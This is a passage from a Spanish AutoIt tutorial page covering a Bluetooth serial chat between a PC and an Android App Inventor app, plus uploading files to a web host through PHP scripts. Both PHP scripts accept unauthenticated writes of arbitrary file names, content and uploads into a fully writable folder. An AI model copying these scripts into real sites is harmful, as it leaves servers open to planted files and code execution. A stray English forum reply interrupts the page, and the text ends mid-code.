GUICtrlCreateCombo("1"**,** 127**,** 141**,** 145**,** 25)  GUICtrlSetData(-1**,** "1|2|1.5")  $CmBoParity = GUICtrlCreateCombo(""**,** 127**,** 178**,** 145**,** 25)  GUICtrlSetData(-1**,** "odd|even|none|Mark|Space")  GUICtrlSetData(-1**,** "none")  $Label2 = GUICtrlCreateLabel("Port"**,** 94**,** 32**,** 23**,** 17)  $Label3 = GUICtrlCreateLabel("baud"**,** 89**,** 70**,** 28**,** 17)  $Label4 = GUICtrlCreateLabel("No. Stop bits"**,** 52**,** 145**,** 65**,** 17)  $Label5 = GUICtrlCreateLabel("parity"**,** 88**,** 182**,** 29**,** 17)  $CmboDataBits = GUICtrlCreateCombo("8"**,** 127**,** 103**,** 145**,** 25)  GUICtrlSetData(-1**,** "7|8")  $Label7 = GUICtrlCreateLabel("No. of Data Bits"**,** 38**,** 107**,** 79**,** 17)  $ComboFlow = GUICtrlCreateCombo("NONE"**,** 127**,** 216**,** 145**,** 25)  GUICtrlSetData(-1**,** "NONE|XOnXOff|Hardware (RTS, CTS)")  $Label1 = GUICtrlCreateLabel("flow control"**,** 59**,** 220**,** 58**,** 17)  GUICtrlCreateGroup(""**,** -99**,** -99**,** 1**,** 1)  $BtnApply = GUICtrlCreateButton("Apply"**,** 315**,** 95**,** 75**,** 35**,** $BS\_FLAT)  GUICtrlSetFont(-1**,** 12**,** 400**,** 0**,** "MS Sans Serif")  $BtnCancel = GUICtrlCreateButton("Cancel"**,** 316**,** 147**,** 76**,** 35**,** $BS\_FLAT)  GUICtrlSetFont(-1**,** 12**,** 400**,** 0**,** "MS Sans Serif")  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  WinSetTitle($Form3**,** ""**,** $settitle)**;ensure a change to Koda design doesn't stop script working**  $mainxy = WinGetPos($Form2)  WinMove($Form3**,** ""**,** $mainxy[0] + 20**,** $mainxy[1] + 20)  $portlist = \_CommListPorts(0)**;find the available COM ports and write them into the ports combo**  **If** @error = 1 **Then**  MsgBox(0**,** 'trouble getting portlist'**,** 'Program will terminate!')  **Exit**  **EndIf**  **For** $pl = 1 **To** $portlist[0]  $portnum = StringReplace($portlist[$pl]**,** "COM"**,** '')  **if** StringLen($portnum) = 1 **then** $portnum = ' ' & $portnum  $portlist[$pl] = 'COM' & $portnum  GUICtrlSetData($CmboPortsAvailable**,** $portlist[$pl])**;\_CommListPorts())**  **Next**  GUICtrlSetData($CmboPortsAvailable**,** $portlist[1])**;show the first port found**  GUICtrlSetData($ComboFlow**,** $FlowType[$setflow])  \_GUICtrlComboBox\_SetMinVisible($CmBoBaud**,** 10)**;restrict the length of the drop-down list**  $retval = 0  **While** 1  $msg = GUIGetMsg()  **If** $msg = $BtnCancel **Then**  **If** Not $mode **Then** $retval = -1  **ExitLoop**  **EndIf**  **If** $msg = $BtnApply **Then**  $comboflowsel = GUICtrlRead($ComboFlow)  **For** $n = 0 **To** 2  **If** $comboflowsel = $FlowType[$n] **Then**  $setflow = $n  ConsoleWrite("flow = " & $setflow & @CRLF)  **ExitLoop**  **EndIf**  **Next**  $setport = StringReplace(GUICtrlRead($CmboPortsAvailable)**,** 'COM'**,** '')  $ParitySel = GUICtrlRead($CmBoParity)  **For** $n = 0 **To** 4  **If** $ParitySel = $ParityType[$n] **Then**  $SetParity = $n  **ExitLoop**  **EndIf**  **Next**  $setStop = StringReplace(GUICtrlRead($CmBoStop)**,** '.'**,** '')**;replace 1.5 with 15 if needed**  $resOpen = \_CommSetPort($setport**,** $sportSetError**,** GUICtrlRead($CmBoBaud)**,** GUICtrlRead($CmboDataBits)**,** $SetParity**,** $setStop**,** $setflow)  **;$resOpen = \_CommSetPort($setPort,$sportSetError,GUICtrlRead($CmBoBaud),GUICtrlRead($CmboDataBits),GUICtrlRead($CmBoParity),GUICtrlRead($CmBoStop),$setFlow)**  **if** $resOpen = 0 **then**  ConsoleWrite($sportSetError & @LF)  **Exit**  **EndIf**  Sleep(1000)  ConsoleWrite('ok' & @CRLF)  **;next**  $mode = 1**;**  **ExitLoop**  **EndIf**  **;stop user switching back to $form2**  **If** WinActive($maintitle) **Then**  ConsoleWrite('main is active' & @CRLF)  **If** WinActivate($settitle) = 0 **Then** MsgBox(0**,** 'not found'**,** $settitle)  **EndIf**  **WEnd**  ConsoleWrite(244 & @CRLF)  GUIDelete($Form3)  ConsoleWrite(247 & @CRLF)  WinActivate($maintitle)  ConsoleWrite(248 & @CRLF)  Events()  Return $retval  **EndFunc** **;==>SetPort** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
5.- Ejecución del Script de AutoIt.**

- Nos saldrá la siguiente ventana. Pulsamos en **Set Port**. Debemos elegir el puerto en donde está el "dongle" bluetooth del ordenador.

- Será uno de los puertos que vimos en el Administrador de dispositivos. **Vamos probando puertos** hasta lograr que ser realice la conexión.

- En mi caso se conectó con el puerto **COM29.**

- La velocidad 9600

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Funcionamiento.**

- Escribimos un texto en la aplicación construida con AutoIt, en este caso **"Esto lo voy a enviar al movil"**. Pulsamos en botón **"Send"** y esa frase se enviará al móvil.

- Escribimos en el móvil **"Texto para el ordenador"**. Pulsamos el botón **"Enviar"** y esa frase se enviará al ordenador.

- Funciones disponibles del **commmg.au3**

Functions available:

\_CommGetVersion

\_CommListPorts

\_CommSetPort

\_CommPortConnection

\_CommClearOutputBuffer

\_CommClearInputBuffer

\_CommGetInputcount

\_CommGetOutputcount

\_CommSendString

\_CommGetString

\_CommGetLine

\_CommReadByte

\_CommReadChar

\_CommSendByte

\_CommSendBreak; not tested!!!!!!!!!!

\_CommCloseport

\_CommSwitch

\_CommSendByteArray

\_CommReadByteArray

<https://www.autoitscript.com/forum/topic/74461-newbi-question-commmgau3/>

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuestas.**

- Modifica el programa para que cuando desde el móvil enviemos el texto "Bloc de notas" se envíe al ordenador y se abra el Bloc de notas.

- Modifica el programa para que cuando desde el ordenador enviemos "Abre el navegador" se envíe al móvil y se abra el navegador web del móvil.

- Modifica el código de App Inventor, añades un Botón, cuando pulses ese Botón en el móvil, se deberá apagar el ordenador.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**69C.- Bluetooh y ordenador. Enviar/recibir datos desde Android al ordenador. App Inventor. Chat.**

- En este tutorial vamos a ver cómo podemos conectar nuestro móvil al ordenador por Bluetooth y hacer un chat, se basa en los dos tutoriales visto anteriormente.

- Podremos enviar un texto desde al Android al ordenador y viceversa.

- Utilizaremos AutoIt en el ordenador y App Inventor en el móvil.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Código de App Inventor para el Android. Es casi el mismo código visto en un tutorial anterior.**

[**p41\_ordenador\_movil\_chat.aia**](http://kio4.com/appinventor/aplicaciones/p41_ordenador_movil_chat.aia)

**- El código de App Inventor es casi el mismo que el del tutorial anterior.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Diseño.**

- El**Conectar** es un **SelectorDeLista**  
- Dos **CampoDeTexto.**  
- El **Reloj**tiene **IntervaloDeTiempo = 10**

|  |  |
| --- | --- |
|  | - Es un chat entre Android y el ordenador. |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Bloques.**

- Cuando pulsamos el **SelectorDeLista de Conectar**, éste se carga con los dispositivos Bluetooth encontrados.  
  
- Cuando pulsamos a nuestro dispositivo Bluetooth que ha salido en la lista del**SelectorDeLista**, entra el proceso de conexión.  
- Se habilitan/deshabilitan controles y se envía un mensaje.

- Cuando pulsamos un botón en el ordenador, se envía un texto por Bluetooth.  
- El **Reloj.Temporizador**, está contínuamente chequeando si hay Bytes disponibles recibidos, cada IntervaloDeTiempo = 10, hace este chequeo.  
- Así que el Reloj está continuamente en funcionamiento chequeando.

- En caso que se detecte Bytes disponibles recibidos, éstos se escriben en la Etiqueta, es el texto enviado por el móvil.

- El **Botón Borrar**, borra la información del Label.

- El **Botón Enviar**: si **escribimos en el casillero CampoDeTexto** **una frase y se enviará al ordenador**

- El **Botón Desconectar**, realiza la desconexión Bluetooth.

- En el **CampoDeTexto1**, ponemos nuestro nombre.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Código del AutoIt en el ordenador. Es casi el mismo código visto en el tutorial anterior.**

- Lo obtenemos de:  
  
<https://www.autoitscript.com/forum/topic/183106-question-regarding-serial-coms/#comment-1314735>

- Son necesarias las librerías:

[CommMG.au3](https://www.autoitscript.com/forum/applications/core/interface/file/attachment.php?id=48374)

[commg.dll](https://www.autoitscript.com/forum/applications/core/interface/file/attachment.php?id=48375)

- Que las puedes obtener de aquí:  
  
<https://www.autoitscript.com/forum/topic/177095-windows-10-problem-with-commmgau3-serial-send-to-arduino/>

- El archivo **CommMG.au3** lo copias en la carpeta **Include** de donde tengas instalado el AutoIt, por ejemplo: **C:\Program Files (x86)\AutoIt3\Include**

- El archivo **commg.dll** lo copias en la misma carpeta en la que vas a guardar el siguiente Script:

|  |
| --- |
| **bluetooth\_autoit\_ordenador\_chat.au3** |
| **; Original: https://www.autoitscript.com/forum/topic/183106-question-regarding-serial-coms/#comment-1314735**  **; Modificado por Juan Antonio Villalpando**  **; KIO4.COM**  **; http://kio4.com/autoit/69C\_bluethooth\_ordenador\_appinventor\_chat.htm**  **; CHAT**  #include <GUIConstants.au3>  #include <CommMG.au3>**;or if you save the commMg.dll in the @scripdir use #include @SciptDir & '\commmg.dll'**  #include <GuiEdit.au3>  #include <GuiComboBox.au3>  #include <windowsconstants.au3>  #include <buttonconstants.au3>  #include <Array.au3>  Opt("WINTITLEMATCHMODE"**,** 3)  HotKeySet("{ESC}"**,** "alldone")  $result = ''**;used for any returned error message setting port**  **Const** $settitle = "COMMG listExample - set Port"**,** $maintitle = "COMMG Example"  $setflow = 2**;default to no flow control**  **Dim** $FlowType[3] = ["Hardware (RTS, CTS)"**,** "XOnXoff"**,** "NONE"]  **Dim** $ParityType[5] = ["odd"**,** "even"**,** "none"**,** "Mark"**,** "Space"]  #region main program  **#Region ### START Koda GUI section ### Form=**  $Form2 = GUICreate("COMMG Example"**,** 475**,** 430**,** 453**,** 189)  $Edit1 = GUICtrlCreateEdit(""**,** 2**,** 33**,** 449**,** 311**,** BitOR($GUI\_SS\_DEFAULT\_EDIT**,**$ES\_READONLY))  GUICtrlSetData(-1**,** "")  $BtnSend = GUICtrlCreateButton("Send"**,** 380**,** 353**,** 53**,** 30**,** $BS\_FLAT)  $Input1 = GUICtrlCreateInput(""**,** 18**,** 359**,** 337**,** 24)  $BtnSetPort = GUICtrlCreateButton("Set Port"**,** 16**,** 392**,** 73**,** 30**,** $BS\_FLAT)  $Label21 = GUICtrlCreateLabel("Nombre:"**,** 18**,** 6**,** 70**,** 17)  $Input2 = GUICtrlCreateInput("Antonio"**,** 88**,** 0**,** 121**,** 24)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  WinSetTitle($Form2**,** ""**,** $maintitle & " UDF = " & \_CommGetVersion(1))  **While** setport(0) = -1  **If** MsgBox(4**,** 'Port not set'**,** 'Do you want to quite the program?') = 6 **Then** **Exit**  **WEnd**  Events()  \_CommSetXonXoffProperties(11**,** 13**,** 100**,** 100)  GUICtrlSetState($Edit1**,** $GUI\_FOCUS)  **While** 1  $instr = \_commGetLine(@CR**,** 50**,** 200)**;\_CommGetString() ; CHAT Número de caracteres 50**  **If** $instr <> '' **Then** **;if we got something**  $instr = $instr & @CRLF **; CHAT cambio de línea**  FileWrite(@ScriptDIr & "/Data.txt"**,** $instr)  GUICtrlSetData($Edit1**,** $instr**,** 1)  **Else**  Sleep(20) **;MichaelXMike**  **EndIf**  **WEnd**  Alldone()  **Func** Events()  Opt("GUIOnEventMode"**,** 1)  GUISetOnEvent($GUI\_EVENT\_CLOSE**,** "justgo")  GUICtrlSetOnEvent($BtnSend**,** "SendEvent")  GUICtrlSetOnEvent($BtnSetPort**,** "SetPortEvent")  **EndFunc** **;==>Events**  **Func** SetPortEvent()  setport()**;needed because a parameter is optional for setport so we can't use "setport" for the event**  GUICtrlSetState($Edit1**,** $GUI\_FOCUS)  **EndFunc** **;==>SetPortEvent**  **Func** justgo()  **Exit**  **EndFunc** **;==>justgo**  **Func** SendEvent()**;send the text in the inputand append CR**  $poner = "- " & GUICtrlRead($Input2) & ": " & GUICtrlRead($Input1) & @CRLF **; CHAT**  GUICtrlSetData($Edit1**,** $poner**,** 1) **; CHAT añadir al Edit1**  \_CommSendstring($poner) **; CHAT**  GUICtrlSetData($Input1**,** '') **;clear the input**  **EndFunc** **;==>SendEvent**  **Func** AllDone()  \_Commcloseport(true)  **Exit**  **EndFunc** **;==>AllDone**  **Func** SetPort($mode = 1)**;if $mode = 1 then returns -1 if settings not made**  **Local** $sportSetError  Opt("GUIOnEventMode"**,** 0)**;keep events for $Form2, use GuiGetMsg for $Form3**  **#Region ### START Koda GUI section ### Form=d:\my documents\miscdelphi\commg\examplecommsetport.kxf**  $Form3 = GUICreate("COMMG Example - set Port"**,** 422**,** 279**,** 329**,** 268**,** BitOR($WS\_MINIMIZEBOX**,** $WS\_CAPTION**,** $WS\_POPUP**,** $WS\_GROUP**,** $WS\_BORDER**,** $WS\_CLIPSIBLINGS**,** \_  $DS\_MODALFRAME)**,** BitOR($WS\_EX\_TOPMOST**,** $WS\_EX\_WINDOWEDGE))  $Group1 = GUICtrlCreateGroup("Set COM Port"**,** 18**,** 8**,** 288**,** 252)  $CmboPortsAvailable = GUICtrlCreateCombo(""**,** 127**,** 28**,** 145**,** 25**,** BitOR($GUI\_SS\_DEFAULT\_COMBO**,** $CBS\_SORT))  $CmBoBaud = GUICtrlCreateCombo("9600"**,** 127**,** 66**,** 145**,** 25**,** BitOR($CBS\_DROPDOWN**,** $CBS\_AUTOHSCROLL**,** $CBS\_SORT**,** $WS\_VSCROLL))  GUICtrlSetData(-1**,** "115200|1200|128000|14400")  $CmBoStop = GUICtrlCreateCombo("1"**,** 127**,** 141**,** 145**,** 25)  GUICtrlSetData(-1**,** "1|2|1.5")  $CmBoParity = GUICtrlCreateCombo(""**,** 127**,** 178**,** 145**,** 25)  GUICtrlSetData(-1**,** "odd|even|none|Mark|Space")  GUICtrlSetData(-1**,** "none")  $Label2 = GUICtrlCreateLabel("Port"**,** 94**,** 32**,** 23**,** 17)  $Label3 = GUICtrlCreateLabel("baud"**,** 89**,** 70**,** 28**,** 17)  $Label4 = GUICtrlCreateLabel("No. Stop bits"**,** 52**,** 145**,** 65**,** 17)  $Label5 = GUICtrlCreateLabel("parity"**,** 88**,** 182**,** 29**,** 17)  $CmboDataBits = GUICtrlCreateCombo("8"**,** 127**,** 103**,** 145**,** 25)  GUICtrlSetData(-1**,** "7|8")  $Label7 = GUICtrlCreateLabel("No. of Data Bits"**,** 38**,** 107**,** 79**,** 17)  $ComboFlow = GUICtrlCreateCombo("NONE"**,** 127**,** 216**,** 145**,** 25)  GUICtrlSetData(-1**,** "NONE|XOnXOff|Hardware (RTS, CTS)")  $Label1 = GUICtrlCreateLabel("flow control"**,** 59**,** 220**,** 58**,** 17)  GUICtrlCreateGroup(""**,** -99**,** -99**,** 1**,** 1)  $BtnApply = GUICtrlCreateButton("Apply"**,** 315**,** 95**,** 75**,** 35**,** $BS\_FLAT)  GUICtrlSetFont(-1**,** 12**,** 400**,** 0**,** "MS Sans Serif")  $BtnCancel = GUICtrlCreateButton("Cancel"**,** 316**,** 147**,** 76**,** 35**,** $BS\_FLAT)  GUICtrlSetFont(-1**,** 12**,** 400**,** 0**,** "MS Sans Serif")  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  WinSetTitle($Form3**,** ""**,** $settitle) **;ensure a change to Koda design doesn't stop script working**  $mainxy = WinGetPos($Form2)  WinMove($Form3**,** ""**,** $mainxy[0] + 20**,** $mainxy[1] + 20)  $portlist = \_CommListPorts(0)**;find the available COM ports and write them into the ports combo**  **If** @error = 1 **Then**  MsgBox(0**,** 'trouble getting portlist'**,** 'Program will terminate!')  **Exit**  **EndIf**  **For** $pl = 1 **To** $portlist[0]  $portnum = StringReplace($portlist[$pl]**,** "COM"**,** '')  **if** StringLen($portnum) = 1 **then** $portnum = ' ' & $portnum  $portlist[$pl] = 'COM' & $portnum  GUICtrlSetData($CmboPortsAvailable**,** $portlist[$pl]) **;\_CommListPorts())**  **Next**  GUICtrlSetData($CmboPortsAvailable**,** $portlist[1]) **;show the first port found**  GUICtrlSetData($ComboFlow**,** $FlowType[$setflow])  \_GUICtrlComboBox\_SetMinVisible($CmBoBaud**,** 10) **;restrict the length of the drop-down list**  $retval = 0  **While** 1  $msg = GUIGetMsg()  **If** $msg = $BtnCancel **Then**  **If** Not $mode **Then** $retval = -1  **ExitLoop**  **EndIf**  **If** $msg = $BtnApply **Then**  $comboflowsel = GUICtrlRead($ComboFlow)  **For** $n = 0 **To** 2  **If** $comboflowsel = $FlowType[$n] **Then**  $setflow = $n  **ExitLoop**  **EndIf**  **Next**  $setport = StringReplace(GUICtrlRead($CmboPortsAvailable)**,** 'COM'**,** '')  $ParitySel = GUICtrlRead($CmBoParity)  **For** $n = 0 **To** 4  **If** $ParitySel = $ParityType[$n] **Then**  $SetParity = $n  **ExitLoop**  **EndIf**  **Next**  $setStop = StringReplace(GUICtrlRead($CmBoStop)**,** '.'**,** '')**;replace 1.5 with 15 if needed**  $resOpen = \_CommSetPort($setport**,** $sportSetError**,** GUICtrlRead($CmBoBaud)**,** GUICtrlRead($CmboDataBits)**,** $SetParity**,** $setStop**,** $setflow)  **if** $resOpen = 0 **then**  **Exit**  **EndIf**  Sleep(1000)  $mode = 1**;**  **ExitLoop**  **EndIf**  **;stop user switching back to $form2**  **If** WinActive($maintitle) **Then**  ConsoleWrite('main is active' & @CRLF)  **If** WinActivate($settitle) = 0 **Then** MsgBox(0**,** 'not found'**,** $settitle)  **EndIf**  **WEnd**  GUIDelete($Form3)  WinActivate($maintitle)  Events()  Return $retval  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
5.- Ejecución del Script de AutoIt.**

- Nos saldrá la siguiente ventana. Pulsamos en **Set Port**. Debemos elegir el puerto en donde está el "dongle" bluetooth del ordenador.

- Será uno de los puertos que vimos en el Administrador de dispositivos. **Vamos probando puertos** hasta lograr que ser realice la conexión.

- En mi caso se conectó con el puerto **COM29.**

- La velocidad 9600

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Funcionamiento.**

- Escribimos un texto en la aplicación construida con AutoIt, en este caso **"Esto lo voy a enviar al movil"**. Pulsamos en botón **"Send"** y esa frase se enviará al móvil.

- Escribimos en el móvil **"Texto para el ordenador"**. Pulsamos el botón **"Enviar"** y esa frase se enviará al ordenador.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**70.- Crear archivo de texto y subirlo a un servidor. Bajarlo, modificarlo y volverlo a subir.**

- Escribimos un texto en un Edit1 ("El Ñandú corrió por Cádiz"), le ponemos un nombre de archivo (ejemplo.txt). Lo subimos a un servidor remoto.

- Pulsamos un botón2, indicamos el archivo que queremos bajar (ejemplo.txt), el archivo bajará, **se guardará en la carpeta Documentos** y se verá su contenido en un Edit1.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**1.- Necesitamos un hosting.**

- Lee este tutorial y créate una **cuenta gratuita en Hostinger**.

- Además aprende a subir archivos a Hostinger mediante el**cliente de FTP Mozilla.**

[**317.- Hosting gratuito Hostinger.**](http://kio4.com/appinventor/317_hosting_gratuito_3.htm)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Archivo PHP que subiremos a nuestro hosting.**

|  |
| --- |
| **enviar\_archivo.php** |
| <?php  **// Juan Antonio Villalpando.**  **// KIO4.COM**  $datos = $\_POST**;**  $contenido = $datos**[**'contenido'**];**  $nombre = $datos**[**'nombre'**];**  $auxi = fopen**(**$nombre**,** 'w'**);**  fwrite**(**$auxi**,** $contenido**);**  fclose**(**$auxi**);**  **echo** "Archivo subido."**;**  ?> |

- Este PHP será el encargado de tomar la información de texto que se envía mediante "dato" y guardarlo en el servidor remoto.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Aplicación en AutoIt para enviar los datos y guardarlo como archivo. También para bajarlo.**

- Enviará un mensaje al servidor remoto y mediante PHP insertará la información.

|  |
| --- |
| **Código para el AutoIt** |
| #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  #include <InetConstants.au3>  #include <File.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Subir archivo - Juan A. Villalpando"**,** 584**,** 531**,** 697**,** 180)  $Label1 = GUICtrlCreateLabel("Escribe el contenido del archivo:"**,** 48**,** 24**,** 198**,** 20)  $Edit1 = GUICtrlCreateEdit(""**,** 56**,** 64**,** 473**,** 137**,** BitOr($WS\_VSCROLL**,** $ES\_MULTILINE**,** $WS\_TABSTOP))  GUICtrlSetData(-1**,** "El Ñandú corrió por Cádiz.")  $Button1 = GUICtrlCreateButton("Enviar"**,** 56**,** 304**,** 481**,** 41)  $Label3 = GUICtrlCreateLabel("Label3"**,** 80**,** 376**,** 200**,** 40)  $Label2 = GUICtrlCreateLabel("Nombre del archivo: "**,** 56**,** 248**,** 128**,** 20)  $Input1 = GUICtrlCreateInput("ejemplo.txt"**,** 200**,** 240**,** 161**,** 24)  $Button2 = GUICtrlCreateButton("Bajar"**,** 64**,** 424**,** 465**,** 49)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  $contenido = ""  $nombre = ""  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **; Botón SUBIR**  **Case** $msg = $Button1  $contenido = GUICtrlRead($Edit1)  $nombre = GUICtrlRead($Input1)  $datos = "contenido=" & $contenido & "&nombre=" & $nombre  enviar()  Beep(900**,**500)  GUICtrlSetData($Edit1**,** "")  **; Botón BAJAR**  **Case** $msg = $Button2  bajar()  **EndSelect**  **Wend**  **Exit**  **; Enviar archivo**  **Func** enviar()  $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")  $oHTTP**.**Open("POST"**,** "http://kio4.esy.es/enviar\_archivo.php"**,** False)  $oHTTP**.**SetRequestHeader("Content-Type"**,** "application/x-www-form-urlencoded")  $oHTTP**.**Send($datos)  **; Recibir información**  $Respuesta = $oHTTP**.**ResponseText  $Codigo = $oHTTP**.**Status  Beep(400**,**500)  GUICtrlSetData($Label3**,**$Respuesta)  Sleep(2000)  GUICtrlSetData($Label3**,**"") **; Borra Label3**  **EndFunc**  **Func** bajar()  **; Copiar el archivo en la carpeta de Documentos.**  $sReturn = InetRead("http://kio4.esy.es/" & $nombre) **; El nombre del Input1**  $hFile = FileOpen(@DocumentsCommonDir & "\archivo\_bajado.txt"**,** 2+16) **; Se guardará en Documentos**  FileWrite(@DocumentsCommonDir & "\archivo\_bajado.txt"**,** $sReturn)  FileClose($hFile)  **; Poner el archivo en el Edit1**  $file = @DocumentsCommonDir & "\archivo\_bajado.txt"  FileOpen($file**,** 0)  $line =""  **For** $i = 1 **to** \_FileCountLines($file)  $line = $line & FileReadLine($file**,** $i) & @CR  **Next**  GUICtrlSetData($Edit1**,** $line)  FileClose($file)  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- Los cambios de líneas no se ven cuando baja el archivo, intenta arreglarlo.

- Pero sí se ven en el archivo que has bajada a Documentos.

mark2004 said:  
Thanks for that. It definitely works. I just need to read up on using Accelerators and Dummy controls before I fully understand what you did.....  
Accelerators are like HotKeySet() except that they work only when your GUI is active.  
Accelerators however are tied to controls as opposed to functions.  
So, we create a dummy control to be fired by the accelerator & poll for that in our GuiGetMsg loop.  
From there, it's check which control has the focus when the accelerator (ENTER) is hit. If its the control we want to act on, call our custom function.  
If the focus isn't on the control we want, turn off the accelerator(s), ControlSend() the regular action of the key used as the accelerator to the current control, then turn the accelerator(s) back on.  
We turn the accelerator(s) off and then back on so we don't get stuck in a loop of sending {ENTER} all the time.  
Credit for the use of dummy controls with Accelerators goes to Zedna [http://www.autoitscript.com/forum/index.ph...st&p=493696](https://www.autoitscript.com/forum/index.php?s=&showtopic=66650&view=findpost&p=493696)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**72.- Elegir un archivo del ordenador y subirlo a un servidor web de internet.**

- Pulsamos un botón y sale una ventana para elegir archivo. Elegimos uno.

- Pulsamos otro botón y ese archivo sube a un hosting remoto.

- La subida de archivo está basada y adaptada de este envío:

<https://www.autoitscript.com/forum/topic/187577-cant-get-http-upload-for-pictures-working/#comment-1347100>

- Necesita la librería **#include <WinHttp.au3>** de **dragana-r**, la puedes obtener de:

<https://github.com/dragana-r/autoit-winhttp/releases>

- También la puedes bajar de aquí: [**WinHttp.au3**](http://kio4.com/autoit/programas/WinHttp.au3)

- Bajas ese archivo WinHttp.au3 y lo copias en la**carpeta "Include"** de donde tengas instalado el AutoIt.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**1.- Necesitamos un hosting.**

- Lee este tutorial y créate una **cuenta gratuita en Hostinger**.

- Además aprende a subir archivos a Hostinger mediante el**cliente de FTP Mozilla.**

[**317.- Hosting gratuito Hostinger.**](http://kio4.com/appinventor/317_hosting_gratuito_3.htm)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Archivo PHP que subiremos a nuestro hosting.**

|  |
| --- |
| **sube\_archivo\_autoit.php** |
| <?  **if(**$\_GET**[**'action'**]** == 'subelo'**){**  $donde\_se\_guardara = "subidos/"**;**  **// Modificado por Juan A. Villalpando - KIO4.COM**  $donde\_se\_guardara = $donde\_se\_guardara**.**basename**(** $\_FILES**[**'sube\_archivo'**][**'name'**]);**  **if(**move\_uploaded\_file**(**$\_FILES**[**'sube\_archivo'**][**'tmp\_name'**],** $donde\_se\_guardara**))** **{**  **echo** "El archivo "**.**basename**(** $\_FILES**[**'sube\_archivo'**][**'name'**]).**  " ha subido."**;**  **}** **else{**  **echo** "Error en la subida del archivo."**;**  **}**  **}**  ?> |

- Este PHP será el encargado de tomar la información del archvio y guardarlo en el servidor remoto.

- Suponemos que en el servidor remoto tenemos un subidirectorio en "subidos/"

- Si queremos subirlo al mismo directorio donde está el PHP, ponemos: $donde\_se\_guardara = "";

- Mediante el cliente FTP Mozilla puedes crear ese directorio y ponerle todos los **"Permisos de archivo..."**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Aplicación en AutoIt para enviar un archivo y guardarlo en un servidor remoto.**

|  |
| --- |
| **Código para el AutoIt** |
| #include <FileConstants.au3>  #include <MsgBoxConstants.au3>  #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WinHttp.au3> **; Incluir esta librería.**  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Elegir y subir archivo - Juan A. Villalpando"**,** 435**,** 338**,** 192**,** 132)  $Button1 = GUICtrlCreateButton("Pulsa para elegir un archivo."**,** 56**,** 16**,** 321**,** 41)  $Label1 = GUICtrlCreateLabel("Label1"**,** 32**,** 88**,** 373**,** 36)  $Button2 = GUICtrlCreateButton("Pulsa para subir ese archivo al servidor web."**,** 56**,** 152**,** 321**,** 41)  **; Juan A. Villalpando - KIO4.COM**  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **; 